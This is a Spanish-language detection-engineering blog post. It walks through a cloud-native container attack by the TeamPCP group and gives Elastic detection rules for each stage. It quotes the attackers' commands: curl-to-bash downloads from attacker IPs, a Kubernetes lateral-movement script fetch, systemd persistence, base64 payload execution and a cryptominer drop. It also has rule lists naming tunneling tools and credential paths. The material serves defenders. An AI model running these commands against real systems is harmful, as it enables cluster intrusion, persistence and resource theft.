Ruben Groenewoud

Linux e ingeniería de detección en la nube - Escenario de ataque a contenedores TeamPCP

Esta publicación ofrece una guía real del compromiso de contenedores multietapa de TeamPCP, demostrando cómo el D4C de Elastic refuerza las señales de ejecución a lo largo de cada etapa de la cadena de ataque.

Linux e ingeniería de detección en la nube - Escenario de ataque a contenedores TeamPCP

Introducción

En el artículo anterior, analizamos cómo se despliega Defender for Containers (D4C), cómo funciona su modelo de políticas y cómo está estructurada su telemetría en tiempo de ejecución. Con esa base establecido, el siguiente paso es pasar del análisis de configuración y campo a la ingeniería de detección aplicada.

Esta publicación repasa un escenario realista de ataque de contenedores basado en la operación de ransomware nativa en la nube TeamPCP, tal y como documenta Flare. En lugar de analizar técnicas aisladas en abstracción, seguimos el ataque a medida que se desarrolla dentro de un entorno contenedor y examinamos cómo cada etapa se manifiesta en la telemetría D4C.

Cuando se asigna a MITRE ATT&CK, la actividad en este escenario abarca casi todo el ciclo de vida del ataque. La intrusión progresa desde la ejecución y descubrimiento dentro del contenedor hasta la persistencia, el movimiento lateral, la actividad de mando y control y, finalmente, el impacto.

Al asignar estos comportamientos a una lógica de detección concreta, este artículo demuestra cómo D4C permite a los ingenieros de detección identificar compromisos de contenedores no como comandos sospechosos aislados, sino como parte de una cadena de ataque estructurada.

TeamPCP: una fuerza emergente en el panorama nativo de la nube y ransomware

Este escenario recorre la etapa de compromiso y propagación de contenedores de la operación de ransomware nativa en la nube TeamPCP, recientemente investigada y documentada por Flare. En lugar de tratar esto como un caso abstracto, el flujo que aparece refleja cómo se desarrolla el ataque en la práctica y muestra cómo la telemetría D4C y las detecciones preconstruidas emergen en cada etapa de la intrusión.

A un nivel general, los objetivos del actor amenazante en esta etapa son:

  1. Obtén ejecución interactiva de código dentro de un contenedor
  2. Determinar si la carga de trabajo se ejecuta en Kubernetes
  3. Establecer una ejecución duradera y persistencia
  4. Se propagan lateralmente a través de vainas y nodos
  5. Preparar el entorno para una monetización a gran escala (minería, ransomware o reventa)

Cada uno de estos objetivos deja un comportamiento observable en tiempo de ejecución que D4C está bien posicionado para detectar.

Etapa 1 – Ejecución inicial mediante descarga y pipe-to-shell

El ataque comienza con una técnica familiar pero eficaz: descargar y ejecutar inmediatamente un script mediante una pipeline de shell.

curl -fsSL http://67.217.57[.]240:666/files/proxy.sh | bash

La intención aquí es lograr una ejecución inmediata evitando la creación de archivos. Esta es una elección tradicional de oficio: no hay carga útil escrita en el disco, ni artefacto evidente que escanear.

Desde la perspectiva de D4C, esto sigue dando lugar a un patrón de ejecución muy sospechoso. Un proceso interactivo de curl se ejecuta dentro de un contenedor y genera inmediatamente un intérprete de shell. Se capturan todas la relación padre-hijo, la línea de comandos y el contexto del contenedor.

sequence by process.parent.entity_id, container.id with maxspan=1s
  [process where event.type == "start" and event.action == "exec" and 
   process.name in ("curl", "wget")]
  [process where event.action in ("exec", "end") and
   process.name like (
     "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "busybox",
     "python*", "perl*", "ruby*", "lua*", "php*"
   ) and
   process.args like (
     "-bash", "-dash", "-sh", "-tcsh", "-csh", "-zsh", "-ksh", "-fish",
     "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish",
     "/bin/bash", "/bin/dash", "/bin/sh", "/bin/tcsh", "/bin/csh",
     "/bin/zsh", "/bin/ksh", "/bin/fish",
     "/usr/bin/bash", "/usr/bin/dash", "/usr/bin/sh", "/usr/bin/tcsh",
     "/usr/bin/csh", "/usr/bin/zsh", "/usr/bin/ksh", "/usr/bin/fish",
     "-busybox", "busybox", "/bin/busybox", "/usr/bin/busybox",
     "*python*", "*perl*", "*ruby*", "*lua*", "*php*", "/dev/fd/*"
   )]

Esta regla detecta el patrón de ejecución de descarga → intérprete, incluso cuando no se escribe ningún archivo en el disco. Detectar este paso es fundamental, ya que es el primer indicador fiable de actividad manual en el teclado dentro de un contenedor.

Al ejecutar, TeamPCP escanea el sistema objetivo en busca de procesos de minería competidores y emplea el comando pkill para terminarlos.

pkill -9 xmrig 2>/dev/null || true
pkill -9 XMRig 2>/dev/null || true
curl -fsSL http://update.aegis.aliyun.com/download/uninstall.sh | bash 2>/dev/null || true

La lógica de matar competidores de TeamPCP es muy limitada en comparación con sus competidores, centrar solo en xmrig. La eliminación manual de procesos en contenedores es poco común, especialmente cuando se realiza mediante procesos interactivos.

process where event.type == "start" and event.action == "exec" and
container.id like "*?" and 
(
  process.name in ("kill", "pkill", "killall") or
  (
    /*
       Account for tools that execute utilities as a subprocess,
       in this case the target utility name will appear as a process arg
    */
    process.name in (
      "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "busybox"
    ) and
    process.args in (
      "kill", "/bin/kill", "/usr/bin/kill", "/usr/local/bin/kill",
      "pkill", "/bin/pkill", "/usr/bin/pkill", "/usr/local/bin/pkill",
      "killall", "/bin/killall", "/usr/bin/killall", "/usr/local/bin/killall"
    )
  )
)

Las reglas de detección que se activaron en esta etapa están disponibles aquí:

Lo que resulta en las siguientes alertas de detección al acceder inicialmente:

Etapa 2 – Descubrimiento del entorno Kubernetes

Tras obtener la ejecución, el atacante comprueba si el contenedor está funcionando dentro de Kubernetes probando un token de cuenta de servicio:

if [ -f /var/run/secrets/kubernetes.io/serviceaccount/token ]

Esta comprobación determina si el ataque puede expandir más allá del contenedor actual. Si el token existe, el atacante procede a abusar de la API de Kubernetes. Además, los scripts eliminados enumeran variables de entorno y varias ubicaciones sensibles de archivos, lo que desencadena numerosas alertas relacionadas con el descubrimiento.

Las reglas de detección que se activaron en esta etapa están disponibles aquí:

Lo que resulta en las siguientes alertas de detección al descubrir:

Etapa 3 – Movimiento lateral mediante kube.py

Cuando hay un token de cuenta de servicio presente, el atacante descarga y ejecuta un script en Python diseñado para enumerar pods y ejecutar comandos a lo largo del clúster:

curl -fsSL http://44.252.85[.]168:666/files/kube.py -o /tmp/k8s.py
python3 /tmp/k8s.py

En este punto, el objetivo del atacante es claro: convertir un único contenedor comprometido en un punto de apoyo para la propagación a nivel de clúster usando APIs legítimas de Kubernetes.

D4C detecta esta etapa mediante una combinación de telemetría de archivo y proceso. Un script se escribe en un directorio temporal y se ejecuta inmediatamente mediante un intérprete, todo dentro de una sesión interactiva en contenedor.

Detectar un comando de curl interactivo que extrae un archivo de una fuente remota es una señal fuerte de detección para cargas de trabajo de contenedores obsoletas.

process where event.type == "start" and event.action == "exec" and process.interactive == true and (
  (
    (process.name == "curl" or process.args in (
      "curl", "/bin/curl", "/usr/bin/curl", "/usr/local/bin/curl"
    )
  ) and
    process.args in (
      "-o", "-O", "--output", "--remote-name",
      "--remote-name-all", "--output-dir"
    )
  ) or
  (
    (process.name == "wget" or process.args in (
      "wget", "/bin/wget", "/usr/bin/wget", "/usr/local/bin/wget"
    )
  ) and
  process.args like ("-*O*", "--output-document=*", "--output-file=*")
  )
) and (
 process.args like~ "*http*" or
 process.args regex ".*[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}[:/]{1}.*"
) and container.id like "?*"

La regla de detección anterior detecta la descarga remota de archivos, pero podemos ir un paso más allá detectando una secuencia para la creación de archivos, seguida de su ejecución dentro del mismo contexto de contenedor:

sequence by container.id, user.id with maxspan=3s
  [file where host.os.type == "linux" and event.type == "creation" and 
   process.interactive == true and container.id like "?*" and
   file.path like (
     "/tmp/*", "/var/tmp/*", "/dev/shm/*", "/root/*", "/home/*"
   ) and
   not process.name in (
     "apt", "apt-get", "dnf", "microdnf", "yum", "zypper", "tdnf", "apk",   
     "pacman", "rpm", "dpkg"
   )] by file.path
  [process where host.os.type == "linux" and event.type == "start" and 
   event.action == "exec" and process.interactive == true and
   container.id like "?*"] by process.executable

Aquí, nos centramos en procesos interactivos excluyendo los archivos creados por los gestores de paquetes, ya que esperamos que estén presentes en cargas de trabajo típicas.

Las reglas de detección que se activaron en esta etapa están disponibles aquí:

Lo que resulta en las siguientes alertas de detección al mover lateralmente:

Etapa 4 – Establecer persistencia mediante Systemd

Los mecanismos de persistencia como los servicios systemd suelen ser ilógicos en entornos de contenedores. La mayoría de los contenedores están diseñados para ser cargas de trabajo de un solo proceso y vida corta que dependen del tiempo de ejecución del contenedor o del orquestador para la gestión del ciclo de vida. Normalmente no ejecutan un sistema de entrada completo, y aun cuando hay systemd, los cambios realizados dentro del contenedor rara vez sobreviven a la redistribución, reprogramación o reconstrucción de imagen.

Como resultado, los intentos de establecer persistencia mediante systemd desde dentro de un contenedor son un fuerte indicador de una anomalía. A menudo indican una de dos cosas: o bien el contenedor se ejecuta con privilegios elevados y acceso al sistema de archivos anfitrión, o el atacante espera escapar del límite del contenedor y que su mecanismo de persistencia se active a nivel de nodo.

En la campaña TeamPCP, el atacante intenta establecer persistencia creando un servicio systemd :

cat>/etc/systemd/system/teampcp-react.service<<SVCEOF
[Unit]
Description=PCPcat React Scanner
After=network.target
[Service]
Type=simple
WorkingDirectory=${dir}
ExecStart=/usr/bin/python3 ${dir}/react.py
Restart=always
RestartSec=60
[Install]
WantedBy=multi-user.target
SVCEOF

Esta acción no es coherente con el comportamiento normal del contenedor. Escribir archivos unitarios systemd desde dentro de un contenedor sugiere una intención de persistir más allá del ciclo de vida del contenedor, lo cual solo tiene sentido si el host subyacente se ve afectado.

D4C captura este comportamiento como actividad de creación de archivos en ubicaciones sensibles del sistema originadas en un contexto de contenedor. La siguiente lógica de detección busca actividad de archivos orientados a escritura en rutas comunes de persistencia de Linux, incluyendo servicios systemd, temporizadores, trabajos cron, archivos sudoers y modificaciones de perfiles de shell:

file where event.type != "deletion" and
/* open events currently only log file opens with write intent */
event.action in ("creation", "rename", "open") and (
  file.path like (
    // Cron & Anacron Jobs
    "/etc/cron.allow", "/etc/cron.deny", "/etc/cron.d/*",
    "/etc/cron.hourly/*", "/etc/cron.daily/*", "/etc/cron.weekly/*", 
    "/etc/cron.monthly/*", "/etc/crontab", "/var/spool/cron/crontabs/*", 
    "/var/spool/anacron/*",

    // At Job
    "/var/spool/cron/atjobs/*", "/var/spool/atjobs/*",

    // Sudoers
    "/etc/sudoers*"
  ) or
  (
    // Systemd Service/Timer
    file.path like (
      "/etc/systemd/system/*", "/etc/systemd/user/*",
      "/usr/local/lib/systemd/system/*", "/lib/systemd/system/*", 
      "/usr/lib/systemd/system/*", "/usr/lib/systemd/user/*",
      "/home/*/.config/systemd/user/*", "/home/*/.local/share/systemd/user/*",
      "/root/.config/systemd/user/*", "/root/.local/share/systemd/user/*"
    ) and
    file.extension in ("service", "timer")
  ) or
  (
    // Shell Profile Configuration
    file.path like ("/etc/profile.d/*", "/etc/zsh/*") or (
      file.path like ("/home/*/*", "/etc/*", "/root/*") and
      file.name in (
  	 "profile", "bash.bashrc", "bash.bash_logout", "csh.cshrc",
        "csh.login", "config.fish", "ksh.kshrc", ".bashrc",
        ".bash_login", ".bash_logout", ".bash_profile", ".bash_aliases", 
        ".zprofile", ".zshrc", ".cshrc", ".login", ".logout", ".kshrc"
      )
    )
  )
) and container.id like "?*" and
not process.name in (
  "apt", "apt-get", "dnf", "microdnf", "yum", "zypper", "tdnf",
  "apk", "pacman", "rpm", "dpkg"
)

Esta detección no se centra únicamente en systemd. En su lugar, modela la persistencia de forma más amplia cubriendo múltiples vectores comunes de persistencia en Linux que los atacantes pueden intentar una vez lograda la ejecución del código. Al excluir explícitamente a los gestores de paquetes, la norma reduce el ruido de la actividad legítima de actualización e instalación.

La regla de detección que se activó en esta etapa está disponible aquí:

Lo que resulta en las siguientes alertas de detección al persistir:

Cuando esta detección se activa en un contexto de contenedor, es un indicador fuerte de un comportamiento post-compromiso con posible impacto a nivel de anfitrión. Destaca actividades que no solo son sospechosas, sino también estructuralmente incompatibles con el comportamiento que se espera de los contenedores.

Etapa 5 – Instalación de herramientas en tiempo de ejecución

En despliegues basados en Docker, las instalaciones del atacante requieren herramientas dinámicas:

apk add --no-cache curl bash python3

Esto permite que la misma carga útil se ejecute sobre diferentes imágenes base sin modificaciones.

Desde la perspectiva de un defensor, la instalación de paquetes en tiempo de ejecución dentro de un contenedor es un indicador fuerte de manipulación tras el despliegue. D4C detecta esto mediante la ejecución de procesos por telemetría vinculada a gestores de paquetes conocidos.

process where event.type == "start" and event.action == "exec" and process.interactive == true and (
  (
    process.name in (
      "apt", "apt-get", "dnf", "microdnf", "yum", "zypper", "tdnf"
    ) and process.args == "install"
  ) or
  (process.name == "apk" and process.args == "add") or
  (process.name == "pacman" and process.args like "-*S*") or
  (process.name in ("rpm", "dpkg") and process.args in ("-i", "--install"))
) and
process.args like (
  "curl", "wget", "socat", "busybox", "openssl", "torsocks",
  "netcat", "netcat-openbsd", "netcat-traditional", "ncat", "tor",
  "python*", "perl", "node", "nodejs", "ruby", "lua", "bash", "sh",
  "dash", "zsh", "fish", "tcsh", "csh", "ksh"
) and container.id like "?*"

No todas las instalaciones de paquetes en contenedores son maliciosas. Al orquestar, los contenedores necesitan instalar ciertos paquetes para ejecutar. Sin embargo, dado que los actores maliciosos suelen emplear gestores de paquetes para instalar las herramientas necesarias, esto es una señal clara para los entornos de ejecución de contenedores ya desplegados.

La regla de detección que se activó en esta etapa está disponible aquí:

Esto provoca las siguientes alertas de detección al instalar la herramienta:

Etapa 6 – Establecimiento de túneles y acceso por intermediario

Una vez establecida la ejecución y persistencia, TeamPCP cambia el enfoque del acceso a la conectividad. En esta etapa, los atacantes despliegan herramientas de túnel y proxy como FRPS y GOST para exponer servicios internos y mantener un acceso externo fiable.

El propósito de este paso es convertir contenedores comprometidos en infraestructuras reutilizables. Al establecer túneles o reenviadores, los atacantes pueden pivotar hacia otros entornos, retransmitir tráfico o reutilizar la carga de trabajo comprometida como parte de una cadena de ataque mayor.

D4C detecta esta actividad mediante telemetría de ejecución de procesos. La ejecución de herramientas conocidas de túnel dentro de contenedores es poco común para cargas de trabajo legítimas y destaca claramente cuando se combina con la ejecución interactiva y el contexto del contenedor.

process where event.type == "start" and event.action == "exec" and (
  (
    // Tunneling and/or Port Forwarding via process args
    (process.args regex """.*[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}:[0-9]{1,5}:[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}:[0-9]{1,5}.*""") or
    // gost
    (process.name == "gost" and process.args : ("-L*", "-C*", "-R*")) or
    // ssh
    (process.name == "ssh" and (
     process.args like ("-*R*", "-*L*", "-*D*", "-*w*") and 
     not (process.args == "chmod" or process.args like "*rungencmd*"))
    ) or
    // ssh Tunneling and/or Port Forwarding via SSH option
    (process.name == "ssh" and process.args == "-o" and process.args like~(
      "*ProxyCommand*", "*LocalForward*", "*RemoteForward*",
      "*DynamicForward*", "*Tunnel*", "*GatewayPorts*", 
      "*ExitOnForwardFailure*", "*ProxyCommand*", "*ProxyJump*"
      )
    ) or
    // sshuttle
    (process.name == "sshuttle" and
     process.args in ("-r", "--remote", "-l", "--listen")
    ) or
    // earthworm
    (process.args == "-s" and process.args == "-d" and
     process.args == "rssocks"
    ) or
    // socat
    (process.name == "socat" and
     process.args like~ ("TCP4-LISTEN:*", "SOCKS*")
    ) or
    // chisel
    (process.name like~ "chisel*" and process.args in ("client", "server")) or
    // iodine(d), dnscat, hans, ptunnel-ng, ssf, 3proxy & ngrok 
    (process.name in (
      "iodine", "iodined", "dnscat", "hans", "hans-ubuntu", "ptunnel-ng",
      "ssf", "3proxy", "ngrok", "wstunnel", "pivotnacci", "frps", 
      "proxychains"
      )
    )
  )
) and container.id like "?*"

Existen muchas herramientas de tunelización y reenvío de puertos disponibles en sistemas Linux. La regla paraguas mostrada arriba aprovecha una combinación de regex, nombres de procesos y argumentos de proceso para detectar actividad de túnel observada comúnmente.

La regla de detección que se activó en esta etapa está disponible aquí:

Lo que resulta en las siguientes alertas de detección al tunelar y acceder a un intermediario:

Detectar el túnel es importante porque a menudo marca la transición de un compromiso de corta duración a una presencia sostenida del atacante. Cuando se correlaciona con etapas anteriores, proporciona una fuerte confirmación de un abuso intencionado y continuo en lugar de una ejecución oportunista.

Etapa 7 – Ejecución codificada de carga útil

Para ocultar la lógica de la carga útil, el atacante ejecuta una carga útil codificada en base64 directamente vía Python:

python3 -c "exec(base64.b64decode('<payload>').decode())"

Esta técnica reduce la visibilidad sobre la propia carga útil pero introduce características distintivas de ejecución: argumentos codificados que se pasan directamente a un intérprete en una sesión interactiva.

process where event.type == "start" and event.action == "exec" and process.interactive == true and (
  (process.name in (
    "base64", "base64plain", "base64url", "base64mime", "base64pem",
    "base32", "base16"
    ) and process.args like~ "*-*d*"
  ) or
  (process.name == "xxd" and process.args like~ ("-*r*", "-*p*")) or
  (process.name == "openssl" and process.args == "enc" and
   process.args in ("-d", "-base64", "-a")
  ) or
  (process.name like "python*" and (
    (process.args == "base64" and process.args in ("-d", "-u", "-t")) or
    (process.args == "-c" and process.args like "*base64*" and
     process.args like "*b64decode*")
    )
  ) or
  (process.name like "perl*" and process.args like "*decode_base64*") or
  (process.name like "ruby*" and process.args == "-e" and
   process.args like "*Base64.decode64*"
  )
) and container.id like "?*"

Existen muchas formas de decodificar una carga útil, pero la regla general mostrada arriba recoge las técnicas más comúnmente observadas.

Las reglas de detección que se activaron en esta etapa están disponibles aquí:

Lo que resulta en las siguientes alertas de detección al ejecutar:

Etapa 8 – Despliegue y ejecución del minero

Finalmente, el atacante reconstruye un minero de base64, lo escribe en disco, lo hace ejecutable y lo ejecuta:

/bin/sh -c "printf IyEvYmlu<<TRUNCATED>>>***** >> /tmp/miner.b64"
/bin/sh -c "base64 -d /tmp/miner.b64 > /tmp/miner && chmod +x /tmp/miner && rm /tmp/miner.b64"

Esta etapa representa el cambio de la configuración a la monetización. El atacante ahora está abusando activamente de los recursos del clúster.

Como se mencionó anteriormente, D4C detectará la decodificación de la carga útil base64 usando la misma regla enlazada en la etapa anterior. Otras tres señales importantes de detectar son la creación de una carga útil codificada en base64, cambios de licencias de archivo en directorios específicos y ejecución de binarios recién creados en directorios temporales.

Para la creación de cargas útiles codificadas en base64, se creó una regla paraguas que detecta la ejecución de una shell con echo/printf integrados, y una lista blanca de líneas de comandos comúnmente abusadas:

process where event.type == "start" and event.action == "exec" and 
process.interactive == true and process.name in (
  "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish"
) and process.args == "-c" and process.args like ("*echo *", "*printf *") and 
process.args like (
  "*/etc/cron*", "*/etc/rc.local*", "*/dev/tcp/*", "*/etc/init.d*",
  "*/etc/update-motd.d*", "*/etc/ld.so*", "*/etc/sudoers*", "*base64 *", 
  "*base32 *", "*base16 *", "*/etc/profile*", "*/dev/shm/*", "*/etc/ssh*", 
  "*/home/*/.ssh/*", "*/root/.ssh*" , "*~/.ssh/*", "*xxd *", "*/etc/shadow*",
  "* /tmp/*", "* /var/tmp/*", "* /dev/shm/* ", "* ~/*", "* /home/*",
  "* /run/*", "* /var/run/*", "*|*sh", "*|*python*", "*|*php*", "*|*perl*",
  "*|*busybox*", "*/var/www/*", "*>*", "*;*", "*chmod *", "*rm *" 
) and container.id like "?*"

Especialmente para procesos interactivos, la siguiente regla de detección es una señal alta.

La segunda parte del flujo se relaciona con los cambios de licencias del archivo. No todos los cambios de licencias en archivos son maliciosos, pero no se espera que ocurra con frecuencia detectar cambios de licencias en archivos ejecutables en directorios que se pueden escribir en el mundo mediante un proceso interactivo dentro de un contenedor.

any where event.category in ("file", "process") and
event.type in ("change", "creation", "start") and (
  process.name == "chmod" or
  (
    /*
    account for tools that execute utilities as a subprocess,
    in this case the target utility name will appear as a process arg
    */
    process.name in (
      "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "busybox"
    ) and
    process.args in (
      "chmod", "/bin/chmod", "/usr/bin/chmod", "/usr/local/bin/chmod"
    )
  )
) and process.args in ("4755", "755", "777", "0777", "444", "+x", "a+x") and
container.id like "?*"

Ten en cuenta que aquí aprovechamos las categorías de archivo y evento de proceso. La razón de esto es que D4C captura estos cambios a través de eventos de archivo si se establece específicamente en la política, pero por defecto capturará estas ejecuciones de procesos cuando está configurado para detectar llamadas execve .

La última parte de esta cadena se relaciona con la ejecución de binarios en ubicaciones que se pueden escribir en el mundo. La mayoría de los tiempos de ejecución de contenedores no ejecutan cargas útiles desde estos directorios.

process where event.type == "start" and event.action == "exec" and process.interactive == true and (
  process.executable like (
    "/tmp/*", "/dev/shm/*", "/var/tmp/*", "/run/*", "/var/run/*",
    "/mnt/*", "/media/*", "/boot/*"
  ) or
  // Hidden process execution
  process.name like ".*"
) and container.id like "?*"

Cabe señalar que la regla también captura ejecuciones ocultas de procesos. Esta es una técnica comúnmente observada también por actores amenazantes, ya que pueden intentar evadir la detección marcando procesos como ocultos.

Las reglas de detección que se activaron en esta etapa están disponibles aquí:

Esto provoca las siguientes alertas de detección al desplegar y ejecutar el minero:

Etapa 9 – Escalada a control de nodos

Una vez que el atacante tiene un punto de apoyo dentro de un contenedor y acceso a una cuenta de servicio sobreprivilegiada, el siguiente paso es abusar del propio plano de control Kubernetes. Esta etapa traslada el ataque más allá de un contenedor único y entra en un impacto a nivel de cúmulo. Esta actividad se detecta mediante los registros de auditoría de Kubernetes. Las reglas de registro de auditoría de Kubernetes que surgieron por esta intrusión se dividen en tres patrones distintos.

Etapa 9.1 – Reconocimiento y Abuso de API

El script de kube.py del atacante emplea el token de cuenta de servicio robado para enumerar pods, secretos y nodos en todos los espacios de nombres. Desde la perspectiva de Kubernetes, esto parece una identidad única que realiza una ráfaga de llamadas a API a través de múltiples tipos de recursos, un patrón que se corresponde directamente con la lógica de detección de enumeración de licencias. El uso de la urllib de Python en lugar de kubectl también es inusual como cliente de API.

Las reglas de detección que se activaron en esta etapa están disponibles aquí:

Esto da lugar a las siguientes alertas de detección en caso de reconocimiento y abuso de la API:

Etapa 9.2 – Escalada de privilegios y manipulación de la carga de trabajo

Una vez completada la enumeración, el atacante crea un DaemonSet privilegiado (system-monitor) y se basa en el ClusterRole sobreprivilegiado que estaba vinculado a la cuenta de servicio comprometida. Tanto la creación de carga de trabajo como el rol que la habilitó están marcados: el DaemonSet como una modificación de carga de trabajo sensible, y el enlace ClusterRole como un rol sensible que otorga licencias amplias, incluyendo pods/exec, acceso secreto y creación de DaemonSet.

Las reglas de detección que se activaron en esta etapa están disponibles aquí:

Lo que resulta en las siguientes alertas de detección ante la escalada de privilegios y la manipulación de la carga de trabajo:

Etapa 9.3 – Escape a nivel de nodo

La especificación de pod del DaemonSet está diseñada para romper todos los límites de aislamiento que normalmente proporciona un contenedor. Aplicar el modo privilegiado, se conecta a la red anfitriona y al espacio de nombres PID, y monta el sistema de archivos raíz del nodo. Cada una de estas propiedades activa una regla de detección separada, y juntas dibujan una imagen clara de una carga de trabajo del contenedor diseñada para la fuga de nodos.

Las reglas de detección que se activaron en esta etapa están disponibles aquí:

Lo que resulta en las siguientes alertas de detección al escapar a nivel de nodo:

Estas tres subetapas también ponen de relieve un límite clave en la detección centrada en contenedores. Aunque D4C destaca en observar lo que ocurre dentro de contenedores, identificar cómo y por qué se crearon esos contenedores requiere la telemetría del plano de control de Kubernetes. En un serial posterior titulada "Kubernetes Detection Engineering", nos centraremos en correlacionar los eventos de ejecución D4C con los registros de auditoría de Kubernetes para detectar ataques de varias etapas que abarcan la creación de cargas de trabajo, la escalada de privilegios y el impacto a nivel de nodo.

Para cualquiera que ya esté familiarizado con los registros de auditoría de Kubernetes o interesado en aprender más sobre ellos, disponemos de varias reglas de detección prediseñadas que aprovechan el marco de registros de auditoría de Kubernetes en nuestro repositorio de reglas de detección en GitHub.

Etapa 10 – Explotación de servidores sitio web vía React2Shell

Además de explotar contenedores comprometidos y rutas de control Kubernetes, TeamPCP también aprovecha la explotación directa de servidores sitio web para obtener acceso a la shell en servicios expuestos. Una de las técnicas referenciadas en campañas relacionadas es React2Shell, donde se abusan de aplicaciones sitio web vulnerables para lograr la ejecución remota de comandos y caer en un shell interactivo.

El objetivo del atacante aquí es sencillo: ampliar el acceso más allá de las cargas de trabajo de Kubernetes y aumentar el número de puntos de entrada al entorno. Los servicios orientados al sitio web suelen estar menos estrictamente aislados que los contenedores y pueden proporcionar un camino rápido hacia el compromiso a nivel de host si no se parchean.

Desde el punto de vista de la detección, esta actividad ya está bien cubierta. Elastic proporciona una detección de explotación de servidores sitio web que detecta patrones sospechosos de ejecución de comandos originados en procesos del servidor sitio web. Además, múltiples detecciones basadas en Linux en host identifican comportamientos posteriores a la explotación tras un acceso exitoso al sitio web shell, como la ejecución inesperada del shell, intérpretes de comandos lanzados por servicios sitio web y la ejecución de herramientas posteriores.

Detectar esta etapa es importante porque representa una ruta de entrada alternativa que evita por completo las defensas específicas del contenedor. Cuando se correlaciona con detecciones D4C anteriores, la explotación al estilo React2Shell ayuda a confirmar que el atacante está persiguiendo activamente múltiples vías de acceso, aumentando tanto el radio de explosión como el potencial de persistencia.

La regla de detección que se activó en esta etapa está disponible aquí:

Esto provoca las siguientes alertas de detección en caso de explotación de servidores sitio web:

Lo que hace que este escenario sea eficaz como ejercicio de detección es que todos los principales objetivos del atacante (ejecución, persistencia, propagación y monetización) se manifiestan como comportamiento en tiempo de ejecución dentro de los contenedores. La capacidad de D4C para observar ese comportamiento en contexto permite a los ingenieros de detección seguir el ataque a medida que se desarrolla, en lugar de descubrirlo solo después de que el daño esté hecho.

Uniendo todo con el descubrimiento de ataques

Ejecutar reglas de detección individuales a lo largo de la telemetría de ejecución de contenedores y auditoría Kubernetes produce decenas de alertas, cada una destacando una acción sospechosa de forma aislada. Un defensor que revisara estos casos uno por uno vería un pod privilegiado aquí, un curl | bash allá y una ráfaga de enumeración de API en otro lugar. El reto es no generar alertas; es reconocer que estas señales 130+ forman parte de la misma operación.

Aquí es donde entra Attack Discovery . Detección de Ataques es la capacidad de IA generativa de Elastic que ingiere un conjunto de alertas y las correlaciona automáticamente en narrativas de ataque coherentes. En lugar de obligar al analista a pivotar manualmente entre alertas individuales, identifica qué señales pertenecen juntas y las mapea al marco MITRE ATT&CK, produciendo un único resumen legible de lo ocurrido.

Al apuntar a las alertas generadas por esta simulación, el Descubrimiento de Ataque reconstruyó correctamente toda la cadena de eliminación de TeamPCP como una "Cadena de Ataque de Criptojacking de Contenedor". El resumen identificaba:

  • Acceso inicial: Explotación del servidor sitio web en el nodo víctima, donde busybox generaba desde python3.11 y ejecutaba comandos de reconocimiento (id, whoami, uname -a, cat /etc/passwd)
  • Escalada de privilegios: El system:serviceaccount:kube-system:daemon-set-controller está creando pods altamente privilegiados con monturas de HostPID, HostNetwork, modo privilegiado y hostPath sensibles
  • Evasión defensiva: Limpieza de criptomineros competidores mediante pkill -9 xmrig y pkill -9 XMRig, junto con cargas útiles codificadas en Python en base64
  • Preparación de herramientas: Instalación de paquetes en tiempo de ejecución (apk, curl, bash, python3) y descarga de scripts maliciosos vía curl desde el servidor simulado de C2
  • Infraestructura C2: Despliegue de herramientas de túnel gost y frpc bajo /opt/teampcp, con un proxy SOCKS5 que escucha en el puerto 1081
  • Impacto: Un binario /tmp/miner decodificado y escenificado: el objetivo de cryptojacking

La visualización de la cadena de ataque mapea las alertas correlacionadas a lo largo de toda la cadena de eliminación de MITRE ATT&CK, desde el Acceso Inicial hasta el Impacto, con actividad confirmada en Ejecución, Escalada de Privilegios, Evasión de Defensa, Descubrimiento y Mando y Control.

Este es el beneficio de combinar la telemetría en tiempo de ejecución D4C con los registros de auditoría de Kubernetes. Ninguna de las fuentes de datos por sí sola produciría esta imagen: el tiempo de ejecución del contenedor ve el curl | bash, el proceso gost y el binario minero, mientras que los registros de auditoría capturan la creación de DaemonSet, el abuso de RBAC y la enumeración de API. Attack Discovery fusiona ambos en una única narrativa que un analista SOC puede aplicar inmediatamente, sin necesidad de unir manualmente alertas en diferentes índices y plazos.

Conclusión

A lo largo de esta cadena de ataques, observamos un patrón consistente. La ejecución interactiva dentro de contenedores llevó al descubrimiento del entorno, movimiento lateral a través de APIs de Kubernetes, intentos de persistencia en ubicaciones inconsistentes con el diseño del contenedor, instalación de herramientas en tiempo de ejecución, actividad de túnel, reconstrucción de cargas útiles codificadas y, finalmente, monetización de recursos. Cada objetivo producía señales de ejecución distintas.

El valor de Defender for Containers radica en que estas señales se presentan con el contexto de contenedor y orquestación adjuntos. La línea de procesos, los metadatos de capacidades, las banderas de ejecución interactivas, la telemetría de modificación de archivos y la identidad del contenedor permiten que las detecciones vayan más allá de la simple coincidencia de comandos y en su lugar razono sobre la intención y el impacto.

Este escenario también pone de relieve una importante frontera arquitectónica. Aunque D4C proporciona una visibilidad profunda en tiempo de ejecución dentro de contenedores, ciertos pasos de escalada, como la creación de cargas de trabajo privilegiadas o la manipulación del plano de control, requieren telemetría de registros de auditoría Kubernetes para una visibilidad total. Por tanto, la detección efectiva nativa de la nube depende de combinar fuentes de datos en tiempo de ejecución y del plano de control.

En la siguiente fase de este serial, ampliaremos este modelo más allá del límite del contenedor y exploraremos la ingeniería de detección de planos de control de Kubernetes, correlacionando los registros de auditoría con eventos de ejecución D4C para detectar ataques de múltiples etapas que abarcan cargas de trabajo, nodos y el propio clúster.